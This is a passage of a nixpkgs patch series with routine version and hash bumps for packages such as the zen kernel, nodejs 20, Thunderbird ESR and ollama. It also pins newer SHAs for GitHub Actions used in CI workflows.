diff --git a/pkgs/by-name/an/anytype/package.nix b/pkgs/by-name/an/anytype/package.nix
index 9cf0ecc60314..7f82c9f1295c 100644
--- a/pkgs/by-name/an/anytype/package.nix
+++ b/pkgs/by-name/an/anytype/package.nix
@@ -1,5 +1,6 @@
 {
   lib,
+  stdenv,
   fetchFromGitHub,
   buildNpmPackage,
   pkg-config,
@@ -133,5 +134,6 @@ buildNpmPackage {
       "x86_64-darwin"
       "aarch64-darwin"
     ];
+    broken = stdenv.hostPlatform.isDarwin;
   };
 }

From 8d928d1ca5bb65f2f1c31d8cc237736f67e12c6d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 8 Sep 2025 08:05:09 +0000
Subject: [PATCH 4361/4511] linuxKernel.kernels.linux_zen: 6.16.3 -> 6.16.5

(cherry picked from commit a034c0d3b83e05d2181a9713abc89c3bf840cd99)
---
 pkgs/os-specific/linux/kernel/zen-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/zen-kernels.nix b/pkgs/os-specific/linux/kernel/zen-kernels.nix
index 35de64586b33..01aacbef401f 100644
--- a/pkgs/os-specific/linux/kernel/zen-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/zen-kernels.nix
@@ -16,9 +16,9 @@ let
   variants = {
     # ./update-zen.py zen
     zen = {
-      version = "6.16.3"; # zen
+      version = "6.16.5"; # zen
       suffix = "zen1"; # zen
-      sha256 = "1dxxpd1j163m0ijw3ldc0v958jwn002crw5x0n1yzrklgs4jp4dm"; # zen
+      sha256 = "19b5dpw4kkr9vfx2if56y69zs0di8ygrxsmnq8qhyg5v1985y5i6"; # zen
       isLqx = false;
     };
     # ./update-zen.py lqx

From b9c56653a445975de76855f374f7e1b746e350e2 Mon Sep 17 00:00:00 2001
From: Antoine du Hamel <duhamelantoine1995@gmail.com>
Date: Wed, 3 Sep 2025 20:23:28 +0200
Subject: [PATCH 4362/4511] nodejs_20: 20.19.4 -> 20.19.5

(cherry picked from commit 1e8be648a2c1d2f160366855236564f06b4cbac6)
---
 pkgs/development/web/nodejs/v20.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/web/nodejs/v20.nix b/pkgs/development/web/nodejs/v20.nix
index 4a78b44276f4..8264eebdbcfe 100644
--- a/pkgs/development/web/nodejs/v20.nix
+++ b/pkgs/development/web/nodejs/v20.nix
@@ -18,8 +18,8 @@ let
 in
 buildNodejs {
   inherit enableNpm;
-  version = "20.19.4";
-  sha256 = "b87fd7106013d3906706913ffc63a4403715fbb272c4f83ff4338527353eec0f";
+  version = "20.19.5";
+  sha256 = "230c899f4e2489c4b8d2232edd6cc02f384fb2397c2a246a22e415837ee5da51";
   patches = [
     ./configure-emulator.patch
     ./configure-armv6-vfpv2.patch

From 3932819b0a33eea9b2e4961f4390ec363f7cb3db Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 7 Sep 2025 12:41:55 +0000
Subject: [PATCH 4363/4511] ed-odyssey-materials-helper: 2.243 -> 2.247

(cherry picked from commit a45a586b96d65dba3d23dec6fa03bd5a2cf076ab)
---
 .../ed/ed-odyssey-materials-helper/deps.json  | 39 ++++++++++---------
 .../ed-odyssey-materials-helper/package.nix   |  4 +-
 2 files changed, 23 insertions(+), 20 deletions(-)

diff --git a/pkgs/by-name/ed/ed-odyssey-materials-helper/deps.json b/pkgs/by-name/ed/ed-odyssey-materials-helper/deps.json
index 95c248cc7a85..512ac87790e5 100644
--- a/pkgs/by-name/ed/ed-odyssey-materials-helper/deps.json
+++ b/pkgs/by-name/ed/ed-odyssey-materials-helper/deps.json
@@ -37,16 +37,16 @@
    "jar": "sha256-a9QQVOJuuuiLDaWNxj7BEKcO+tXxLYcESTRwx8VJcZA=",
    "pom": "sha256-uFQ5wq04pYG40n+nWy+zC3HN4dT8A8ZE4yMvhN8kWqE="
   },
-  "io/freefair/gradle#lombok-plugin/8.14": {
-   "jar": "sha256-NiigQcRX+SJZnyy+9Gq7OitAUmqBQ5FurJFe756wnCY=",
-   "module": "sha256-a+nB6Xh7bS68ZrkwgSw5s1zAshuxOhMbgmqt2j9r+cI=",
-   "pom": "sha256-/LTz+DpyuyF6VjWEfAWzWzjgHufzS6gV28PFiuGV5Zo="
+  "io/freefair/gradle#lombok-plugin/8.14.2": {
+   "jar": "sha256-RIQV1/8vImNj813kxhix6Tr78NdFBRUUu0cbIvm1jy4=",
+   "module": "sha256-QIzhHR3PUEV4oli/obkCfo0zRgScjdqxQ6wtebqKAJE=",
+   "pom": "sha256-l7zUYFZjH9+YzMEwgxFkf71USZWWLXAoZLGmJn9/0XQ="
   },
   "io/freefair/jsass-java#io.freefair.jsass-java.gradle.plugin/6.5.0.2": {
    "pom": "sha256-hoEYwHzaHj3q/o0bF3HzOgyN0lEIEAu/pjFl3hzTvmg="
   },
-  "io/freefair/lombok#io.freefair.lombok.gradle.plugin/8.14": {
-   "pom": "sha256-x7YYhUGNcUl2rj2dKku2ETagfKgg3N/9MjXMUT+NtJg="
+  "io/freefair/lombok#io.freefair.lombok.gradle.plugin/8.14.2": {
+   "pom": "sha256-OKIER1//te7+8mJmN+ZtdKjo5reqEZ3SRXpwcZ3oVvU="
   },
   "jakarta/platform#jakarta.jakartaee-bom/9.1.0": {
    "pom": "sha256-35jgJmIZ/buCVigm15o6IHdqi6Aqp4fw8HZaU4ZUyKQ="
@@ -153,18 +153,21 @@
    "pom": "sha256-D3mEND0EU+Y5uoyNTXwNGFLfA8ye4UkoQgi/5KPnH44="
   },
   "org/bouncycastle#bcprov-lts8on/2.73.7": {
-   "jar": "sha256-LIzWo/7zyhSubiig3gDBbWJ2d9KML/AqAFE/rrK3/7E=",
    "pom": "sha256-4MwaYuJQsJ+WbzbXnGUU82JXnb+cNy8t3qlXrd7C+qw="
   },
-  "org/bouncycastle#bcutil-lts8on/2.73.7": {
-   "jar": "sha256-03ALDCPuKZzSRYYhZyIGpfNIlR84t+iOk7IaHxu+Zxg=",
-   "pom": "sha256-J4GHqnKeqbOMnpcHM5JeJNCsqT+j3yQ1iZ4SZKUDVrU="
+  "org/bouncycastle#bcprov-lts8on/2.73.8": {
+   "jar": "sha256-SSBJuSj4uqtTWvAYW7q4c00U4cdkiuKiA31YSGyvtnY=",
+   "pom": "sha256-6PCmhF6WFe84gsLRU+ODBMGPpssc4+dC6O2Z+5dnOYs="
+  },
+  "org/bouncycastle#bcutil-lts8on/2.73.8": {
+   "jar": "sha256-6e94GRbugMR9GTYV2oXHvf7baNDeStqHEpPlDVgBWvc=",
+   "pom": "sha256-LDElCcPBJdLgHviCmBxFFuq+dgozRleHz7cVi+UbTLQ="
   },
   "org/bouncycastle/bcutil-lts8on/maven-metadata": {
    "xml": {
     "groupId": "org.bouncycastle",
-    "lastUpdated": "20241107225957",
-    "release": "2.73.7"
+    "lastUpdated": "20250827055500",
+    "release": "2.73.8"
    }
   },
   "org/eclipse/ee4j#project/1.0.7": {
@@ -488,16 +491,16 @@
    "module": "sha256-iNmRuo7VjChtey18CPn2Mg/5novWYXPDaDkhAEb8f2I=",
    "pom": "sha256-oYHFieNi4sRp6IRc/PIKFaiQ9ISUoPny4T9ZSglq0Kk="
   },
-  "io/freefair/gradle#lombok-plugin/8.14": {
-   "jar": "sha256-NiigQcRX+SJZnyy+9Gq7OitAUmqBQ5FurJFe756wnCY=",
-   "module": "sha256-a+nB6Xh7bS68ZrkwgSw5s1zAshuxOhMbgmqt2j9r+cI=",
-   "pom": "sha256-/LTz+DpyuyF6VjWEfAWzWzjgHufzS6gV28PFiuGV5Zo="
+  "io/freefair/gradle#lombok-plugin/8.14.2": {
+   "jar": "sha256-RIQV1/8vImNj813kxhix6Tr78NdFBRUUu0cbIvm1jy4=",
+   "module": "sha256-QIzhHR3PUEV4oli/obkCfo0zRgScjdqxQ6wtebqKAJE=",
+   "pom": "sha256-l7zUYFZjH9+YzMEwgxFkf71USZWWLXAoZLGmJn9/0XQ="
   },
   "io/freefair/jsass-java#io.freefair.jsass-java.gradle.plugin/6.5.0.2": {
    "pom": "sha256-1C1ePfUKHTe6qhRrpb0ai7I5YZksPt9Fw6M5zqCTLd8="
   },
-  "io/freefair/lombok#io.freefair.lombok.gradle.plugin/8.14": {
-   "pom": "sha256-m4nw9rMWc+4eiHy6RoAkO/fHKv7Gs4tg0Osy6vfp7uM="
+  "io/freefair/lombok#io.freefair.lombok.gradle.plugin/8.14.2": {
+   "pom": "sha256-KVgYYy7l/xiWwKYPuI2ghuPXyFHGxIUcQU/VSETWfYI="
   },
   "io/github/classgraph#classgraph/4.8.181": {
    "jar": "sha256-YqZDbWlxDvX6tuwkN4HOTFspkEftGEG1+SdGroUs5UU=",
diff --git a/pkgs/by-name/ed/ed-odyssey-materials-helper/package.nix b/pkgs/by-name/ed/ed-odyssey-materials-helper/package.nix
index 7df53e5d63c4..f86b15fdea5e 100644
--- a/pkgs/by-name/ed/ed-odyssey-materials-helper/package.nix
+++ b/pkgs/by-name/ed/ed-odyssey-materials-helper/package.nix
@@ -18,13 +18,13 @@
 }:
 stdenv.mkDerivation rec {
   pname = "ed-odyssey-materials-helper";
-  version = "2.243";
+  version = "2.247";
 
   src = fetchFromGitHub {
     owner = "jixxed";
     repo = "ed-odyssey-materials-helper";
     tag = version;
-    hash = "sha256-aeoU34U8DMdtSiNqnAPuzmRoDhgf9CIJRwB4A3Qw/EU=";
+    hash = "sha256-rngE5GUAzbpaIPgl0DpCboLLTXFk2zYSM53YPOVWRyg=";
   };
 
   nativeBuildInputs = [

From 7f9216ca725c4fecac481f309004414bd666deec Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 7 Sep 2025 23:56:31 +0000
Subject: [PATCH 4364/4511] thunderbird-140-unwrapped: 140.2.0esr -> 140.2.1esr

(cherry picked from commit d1331163ffde50e2d1188d0c592b215c5ac8dc9e)
---
 .../networking/mailreaders/thunderbird/packages.nix           | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/mailreaders/thunderbird/packages.nix b/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
index 845e92589aa5..868c7a25cf8f 100644
--- a/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
+++ b/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
@@ -108,8 +108,8 @@ rec {
   thunderbird-140 = common {
     applicationName = "Thunderbird ESR";
 
-    version = "140.2.0esr";
-    sha512 = "6a10f95b805f00a0820c822ae07bc52ac39d0a55f084c319d27f01710d8a1d809b7b224da966632ae0a22658bf14e76c8fd7cec022718316c306c43809a4997d";
+    version = "140.2.1esr";
+    sha512 = "fccef5b8d60cd1aace585f253f52587cb3ff9384bcca2e150d4b52c8106dcd19e4d911f0ac634c0adef2da5034169c81667a5634ee14a5f5fd7cf194f6b86576";
 
     updateScript = callPackage ./update.nix {
       attrPath = "thunderbirdPackages.thunderbird-140";

From ec3f65fdfdbb193efa8b8844636bd2851154faff Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Mon, 8 Sep 2025 11:19:23 +0000
Subject: [PATCH 4365/4511] build(deps): bump cachix/install-nix-action from
 31.6.0 to 31.6.1

Bumps [cachix/install-nix-action](https://github.com/cachix/install-nix-action) from 31.6.0 to 31.6.1.
- [Release notes](https://github.com/cachix/install-nix-action/releases)
- [Changelog](https://github.com/cachix/install-nix-action/blob/master/RELEASE.md)
- [Commits](https://github.com/cachix/install-nix-action/compare/56a7bb7b56d9a92d4fd1bc05758de7eea4a370a8...7be5dee1421f63d07e71ce6e0a9f8a4b07c2a487)

---
updated-dependencies:
- dependency-name: cachix/install-nix-action
  dependency-version: 31.6.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
(cherry picked from commit c4fd1f6500e842cc7bdf3d57671fa414ae961cb4)
---
 .github/workflows/build.yml     | 2 +-
 .github/workflows/check.yml     | 2 +-
 .github/workflows/eval.yml      | 8 ++++----
 .github/workflows/lint.yml      | 6 +++---
 .github/workflows/reviewers.yml | 2 +-
 5 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml
index 0053774ce714..71ba2b99d6c6 100644
--- a/.github/workflows/build.yml
+++ b/.github/workflows/build.yml
@@ -52,7 +52,7 @@ jobs:
         with:
           merged-as-untrusted-at: ${{ inputs.mergedSha }}
 
-      - uses: cachix/install-nix-action@56a7bb7b56d9a92d4fd1bc05758de7eea4a370a8 # v31
+      - uses: cachix/install-nix-action@7be5dee1421f63d07e71ce6e0a9f8a4b07c2a487 # v31
         with:
           # Sandbox is disabled on MacOS by default.
           extra_nix_config: sandbox = true
diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml
index 44ec33382e22..633316acc429 100644
--- a/.github/workflows/check.yml
+++ b/.github/workflows/check.yml
@@ -96,7 +96,7 @@ jobs:
           merged-as-untrusted-at: ${{ inputs.mergedSha }}
           target-as-trusted-at: ${{ inputs.targetSha }}
 
-      - uses: cachix/install-nix-action@56a7bb7b56d9a92d4fd1bc05758de7eea4a370a8 # v31
+      - uses: cachix/install-nix-action@7be5dee1421f63d07e71ce6e0a9f8a4b07c2a487 # v31
 
       - uses: cachix/cachix-action@0fc020193b5a1fa3ac4575aa3a7d3aa6a35435ad # v16
         with:
diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index b2cbdf2b4c54..fd706c5dd4e8 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -47,7 +47,7 @@ jobs:
             ci/pinned.json
 
       - name: Install Nix
-        uses: cachix/install-nix-action@56a7bb7b56d9a92d4fd1bc05758de7eea4a370a8 # v31
+        uses: cachix/install-nix-action@7be5dee1421f63d07e71ce6e0a9f8a4b07c2a487 # v31
 
       - name: Load supported versions
         id: versions
@@ -92,7 +92,7 @@ jobs:
           target-as-trusted-at: ${{ inputs.targetSha }}
 
       - name: Install Nix
-        uses: cachix/install-nix-action@56a7bb7b56d9a92d4fd1bc05758de7eea4a370a8 # v31
+        uses: cachix/install-nix-action@7be5dee1421f63d07e71ce6e0a9f8a4b07c2a487 # v31
 
       - uses: cachix/cachix-action@0fc020193b5a1fa3ac4575aa3a7d3aa6a35435ad # v16
         with:
@@ -190,7 +190,7 @@ jobs:
           merge-multiple: true
 
       - name: Install Nix
-        uses: cachix/install-nix-action@56a7bb7b56d9a92d4fd1bc05758de7eea4a370a8 # v31
+        uses: cachix/install-nix-action@7be5dee1421f63d07e71ce6e0a9f8a4b07c2a487 # v31
 
       - name: Combine all output paths and eval stats
         run: |
@@ -350,7 +350,7 @@ jobs:
           merged-as-untrusted-at: ${{ inputs.mergedSha }}
 
       - name: Install Nix
-        uses: cachix/install-nix-action@56a7bb7b56d9a92d4fd1bc05758de7eea4a370a8 # v31
+        uses: cachix/install-nix-action@7be5dee1421f63d07e71ce6e0a9f8a4b07c2a487 # v31
 
       - name: Run misc eval tasks in parallel
         run: |
diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml
index fc309324db1e..f3d4a8360f1b 100644
--- a/.github/workflows/lint.yml
+++ b/.github/workflows/lint.yml
@@ -32,7 +32,7 @@ jobs:
         with:
           merged-as-untrusted-at: ${{ inputs.mergedSha }}
 
-      - uses: cachix/install-nix-action@56a7bb7b56d9a92d4fd1bc05758de7eea4a370a8 # v31
+      - uses: cachix/install-nix-action@7be5dee1421f63d07e71ce6e0a9f8a4b07c2a487 # v31
 
       # TODO: Figure out how to best enable caching for the treefmt job. Cachix won't work well,
       # because the cache would be invalidated on every commit - treefmt checks every file.
@@ -66,7 +66,7 @@ jobs:
         with:
           merged-as-untrusted-at: ${{ inputs.mergedSha }}
 
-      - uses: cachix/install-nix-action@56a7bb7b56d9a92d4fd1bc05758de7eea4a370a8 # v31
+      - uses: cachix/install-nix-action@7be5dee1421f63d07e71ce6e0a9f8a4b07c2a487 # v31
 
       - uses: cachix/cachix-action@0fc020193b5a1fa3ac4575aa3a7d3aa6a35435ad # v16
         with:
@@ -94,7 +94,7 @@ jobs:
           merged-as-untrusted-at: ${{ inputs.mergedSha }}
           target-as-trusted-at: ${{ inputs.targetSha }}
 
-      - uses: cachix/install-nix-action@56a7bb7b56d9a92d4fd1bc05758de7eea4a370a8 # v31
+      - uses: cachix/install-nix-action@7be5dee1421f63d07e71ce6e0a9f8a4b07c2a487 # v31
 
       - uses: cachix/cachix-action@0fc020193b5a1fa3ac4575aa3a7d3aa6a35435ad # v16
         with:
diff --git a/.github/workflows/reviewers.yml b/.github/workflows/reviewers.yml
index 9f4e4374bb89..a971143262a9 100644
--- a/.github/workflows/reviewers.yml
+++ b/.github/workflows/reviewers.yml
@@ -33,7 +33,7 @@ jobs:
           sparse-checkout: ci
 
       - name: Install Nix
-        uses: cachix/install-nix-action@56a7bb7b56d9a92d4fd1bc05758de7eea4a370a8 # v31
+        uses: cachix/install-nix-action@7be5dee1421f63d07e71ce6e0a9f8a4b07c2a487 # v31
 
       - name: Build the requestReviews derivation
         run: nix-build trusted/ci -A requestReviews

From 0fbe22263428ed54ecb21a78358b2a8305f2a284 Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Mon, 8 Sep 2025 11:19:39 +0000
Subject: [PATCH 4366/4511] build(deps): bump actions/labeler from 5.0.0 to
 6.0.1

Bumps [actions/labeler](https://github.com/actions/labeler) from 5.0.0 to 6.0.1.
- [Release notes](https://github.com/actions/labeler/releases)
- [Commits](https://github.com/actions/labeler/compare/8558fd74291d67161a8a78ce36a881fa63b766a9...634933edcd8ababfe52f92936142cc22ac488b1b)

---
updated-dependencies:
- dependency-name: actions/labeler
  dependency-version: 6.0.1
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
(cherry picked from commit d64ece988b56b8083abeba807d5b69a1795e6ad2)
---
 .github/workflows/labels.yml | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 4dfbe74f02b8..b4bdb2416688 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -81,7 +81,7 @@ jobs:
           GH_TOKEN: ${{ steps.app-token.outputs.token || github.token }}
         run: gh api /rate_limit | jq
 
-      - uses: actions/labeler@8558fd74291d67161a8a78ce36a881fa63b766a9 # v5.0.0
+      - uses: actions/labeler@634933edcd8ababfe52f92936142cc22ac488b1b # v6.0.1
         name: Labels from touched files
         if: |
           github.event_name == 'pull_request_target' &&
@@ -91,7 +91,7 @@ jobs:
           configuration-path: .github/labeler.yml # default
           sync-labels: true
 
-      - uses: actions/labeler@8558fd74291d67161a8a78ce36a881fa63b766a9 # v5.0.0
+      - uses: actions/labeler@634933edcd8ababfe52f92936142cc22ac488b1b # v6.0.1
         name: Labels from touched files (no sync)
         if: |
           github.event_name == 'pull_request_target' &&
@@ -101,7 +101,7 @@ jobs:
           configuration-path: .github/labeler-no-sync.yml
           sync-labels: false
 
-      - uses: actions/labeler@8558fd74291d67161a8a78ce36a881fa63b766a9 # v5.0.0
+      - uses: actions/labeler@634933edcd8ababfe52f92936142cc22ac488b1b # v6.0.1
         name: Labels from touched files (development branches)
         # Development branches like staging-next, haskell-updates and python-updates get special labels.
         # This is to avoid the mass of labels there, which is mostly useless - and really annoying for

From 36c667d9f420b378b9e0a91a2cc996705e20a680 Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Mon, 8 Sep 2025 11:21:35 +0000
Subject: [PATCH 4367/4511] build(deps): bump actions/github-script from 7.0.1
 to 8.0.0

Bumps [actions/github-script](https://github.com/actions/github-script) from 7.0.1 to 8.0.0.
- [Release notes](https://github.com/actions/github-script/releases)
- [Commits](https://github.com/actions/github-script/compare/60a0d83039c74a4aee543508d2ffcb1c3799cdea...ed597411d8f924073f98dfc5c65a23a2325f34cd)

---
updated-dependencies:
- dependency-name: actions/github-script
  dependency-version: 8.0.0
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
(cherry picked from commit 4ea8216576dc974b1735ba184ba35471e968b3cd)
---
 .github/workflows/backport.yml         | 2 +-
 .github/workflows/check.yml            | 2 +-
 .github/workflows/dismissed-review.yml | 2 +-
 .github/workflows/edited.yml           | 2 +-
 .github/workflows/eval.yml             | 4 ++--
 .github/workflows/labels.yml           | 2 +-
 .github/workflows/merge-group.yml      | 2 +-
 .github/workflows/pr.yml               | 4 ++--
 .github/workflows/reviewers.yml        | 2 +-
 .github/workflows/test.yml             | 4 ++--
 10 files changed, 13 insertions(+), 13 deletions(-)

diff --git a/.github/workflows/backport.yml b/.github/workflows/backport.yml
index 3f735f4cbd12..8ec5e77b0f21 100644
--- a/.github/workflows/backport.yml
+++ b/.github/workflows/backport.yml
@@ -66,7 +66,7 @@ jobs:
 
       - name: "Add 'has: port to stable' label"
         if: steps.backport.outputs.created_pull_numbers != ''
-        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
         with:
           # Not using the app on purpose to avoid triggering another workflow run after adding this label.
           script: |
diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml
index 633316acc429..c74932b67e7a 100644
--- a/.github/workflows/check.yml
+++ b/.github/workflows/check.yml
@@ -53,7 +53,7 @@ jobs:
 
       - name: Check commits
         id: check
-        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
         env:
           TARGETS_STABLE: ${{ fromJSON(inputs.baseBranch).stable && !contains(fromJSON(inputs.headBranch).type, 'development') }}
         with:
diff --git a/.github/workflows/dismissed-review.yml b/.github/workflows/dismissed-review.yml
index 224ea0af7249..db5799c80913 100644
--- a/.github/workflows/dismissed-review.yml
+++ b/.github/workflows/dismissed-review.yml
@@ -27,7 +27,7 @@ jobs:
     runs-on: ubuntu-24.04-arm
     timeout-minutes: 2
     steps:
-      - uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+      - uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
         with:
           script: |
             // PRs from forks don't have any PRs associated by default.
diff --git a/.github/workflows/edited.yml b/.github/workflows/edited.yml
index 8a38f0eefeff..e944254d19cd 100644
--- a/.github/workflows/edited.yml
+++ b/.github/workflows/edited.yml
@@ -43,7 +43,7 @@ jobs:
           private-key: ${{ secrets.NIXPKGS_CI_APP_PRIVATE_KEY }}
           permission-pull-requests: write
 
-      - uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+      - uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
         with:
           github-token: ${{ steps.app-token.outputs.token }}
           script: |
diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index fd706c5dd4e8..930426a933c9 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -222,7 +222,7 @@ jobs:
 
       - name: Add eval summary to commit statuses
         if: ${{ github.event_name == 'pull_request_target' }}
-        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
         with:
           script: |
             const { readFile } = require('node:fs/promises')
@@ -263,7 +263,7 @@ jobs:
           path: versions
 
       - name: Add version comparison table to job summary
-        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
         env:
           SYSTEMS: ${{ inputs.systems }}
           VERSIONS: ${{ needs.versions.outputs.versions }}
diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index b4bdb2416688..94c68d859e48 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -64,7 +64,7 @@ jobs:
         run: gh api /rate_limit | jq
 
       - name: Labels from API data and Eval results
-        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
         with:
           github-token: ${{ steps.app-token.outputs.token || github.token }}
           retries: 3
diff --git a/.github/workflows/merge-group.yml b/.github/workflows/merge-group.yml
index 9af5cf0ebb71..d95c1e5ea22a 100644
--- a/.github/workflows/merge-group.yml
+++ b/.github/workflows/merge-group.yml
@@ -37,7 +37,7 @@ jobs:
     permissions:
       statuses: write
     steps:
-      - uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+      - uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
         with:
           script: |
             const { serverUrl, repo, runId, payload } = context
diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index 2ab850094e33..785ebbf9d168 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -40,7 +40,7 @@ jobs:
           sparse-checkout: |
             ci/github-script
       - id: prepare
-        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
         with:
           script: |
             require('./ci/github-script/prepare.js')({
@@ -138,7 +138,7 @@ jobs:
     permissions:
       statuses: write
     steps:
-      - uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+      - uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
         with:
           script: |
             const { serverUrl, repo, runId, payload } = context
diff --git a/.github/workflows/reviewers.yml b/.github/workflows/reviewers.yml
index a971143262a9..0e0aaf04f850 100644
--- a/.github/workflows/reviewers.yml
+++ b/.github/workflows/reviewers.yml
@@ -88,7 +88,7 @@ jobs:
       # In the regular case, this workflow is called via workflow_call from the eval workflow directly.
       # In the more special case, when a PR is undrafted an eval run will have started already.
       - name: Wait for comparison to be done
-        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
         id: eval
         with:
           script: |
diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml
index b3c2c6c59863..e82719ab205f 100644
--- a/.github/workflows/test.yml
+++ b/.github/workflows/test.yml
@@ -25,7 +25,7 @@ jobs:
           sparse-checkout: |
             ci/github-script
       - id: prepare
-        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
         with:
           script: |
             require('./ci/github-script/prepare.js')({
@@ -38,7 +38,7 @@ jobs:
 
       - name: Determine changed files
         id: files
-        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
         with:
           script: |
             const files = (await github.paginate(github.rest.pulls.listFiles, {

From 5fffc5210850b389a0fed0a13bba74831827e7bc Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 26 Aug 2025 04:48:04 +0000
Subject: [PATCH 4368/4511] ollama: 0.11.4 -> 0.11.7

(cherry picked from commit 9fe3a2ac3ada7db4d0859d27b8a4ec97a1526a63)
---
 pkgs/by-name/ol/ollama/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ol/ollama/package.nix b/pkgs/by-name/ol/ollama/package.nix
index b05ca97d35a1..a8f4838c1f87 100644
--- a/pkgs/by-name/ol/ollama/package.nix
+++ b/pkgs/by-name/ol/ollama/package.nix
@@ -117,13 +117,13 @@ in
 goBuild (finalAttrs: {
   pname = "ollama";
   # don't forget to invalidate all hashes each update
-  version = "0.11.4";
+  version = "0.11.7";
 
   src = fetchFromGitHub {
     owner = "ollama";
     repo = "ollama";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-joIA/rH8j+SJH5EVMr6iqKLve6bkntPQM43KCN9JTZ8=";
+    hash = "sha256-rSKuLdfbmAyGTkhfdE9GuywuQweeA5WfNwP/wGMN4So=";
   };
 
   vendorHash = "sha256-SlaDsu001TUW+t9WRp7LqxUSQSGDF1Lqu9M1bgILoX4=";

From 447bde708ac622865b782d5c07a415143b7fe556 Mon Sep 17 00:00:00 2001
From: liberodark <liberodark@gmail.com>
Date: Sat, 6 Sep 2025 15:24:47 +0200
Subject: [PATCH 4369/4511] ollama: 0.11.7 -> 0.11.10

(cherry picked from commit 75a44cc7fe2aea03a9b57f3605763e7a9b1972ed)
---
 pkgs/by-name/ol/ollama/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ol/ollama/package.nix b/pkgs/by-name/ol/ollama/package.nix
index a8f4838c1f87..620b6919a685 100644
--- a/pkgs/by-name/ol/ollama/package.nix
+++ b/pkgs/by-name/ol/ollama/package.nix
@@ -117,13 +117,13 @@ in
 goBuild (finalAttrs: {
   pname = "ollama";
   # don't forget to invalidate all hashes each update
-  version = "0.11.7";
+  version = "0.11.10";
 
   src = fetchFromGitHub {
     owner = "ollama";
